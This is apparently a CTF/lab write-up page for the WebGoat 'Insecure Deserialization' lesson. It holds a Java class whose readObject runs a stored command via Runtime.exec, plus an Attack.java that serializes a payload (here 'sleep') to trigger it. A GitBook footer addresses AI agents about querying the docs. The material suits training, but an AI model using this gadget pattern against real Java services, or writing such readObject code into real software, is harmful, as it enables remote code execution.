> For the complete documentation index, see [llms.txt](https://dyn20.gitbook.io/writeup-ctf/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://dyn20.gitbook.io/writeup-ctf/webgoat/insecure-deserialization.md).

# Insecure Deserialization

### 5/

VulnerableTaskHolder.java

```java
package org.dummy.insecure.framework;
import java.io.*;
import java.time.LocalDateTime;
public class VulnerableTaskHolder implements Serializable {
    private static long serialVersionUID = 2;
    private String taskName;
    private String taskAction;
    private LocalDateTime requestedExecutionTime;

    public VulnerableTaskHolder(String taskName, String taskAction){
        super();
        this.taskName = taskName;
        this.taskAction = taskAction;
        this.requestedExecutionTime = LocalDateTime.now();
    }
    private void readObject( ObjectInputStream stream) throws Exception{
        stream.defaultReadObject();
        Runtime.getRuntime().exec(taskAction);
    }
}
```

Attack.java:

```java
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import org.dummy.insecure.framework.VulnerableTaskHolder;
public class Attack{
    public static void main(String args[]) throws Exception{
        VulnerableTaskHolder vulnObj = new VulnerableTaskHolder("dyn","sleep");
        FileOutputStream fos = new FileOutputStream("serial");
        ObjectOutputStream os = new ObjectOutputStream(fos);
        os.writeObject(vulnObj);
        os.close();
    }
}
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://dyn20.gitbook.io/writeup-ctf/webgoat/insecure-deserialization.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.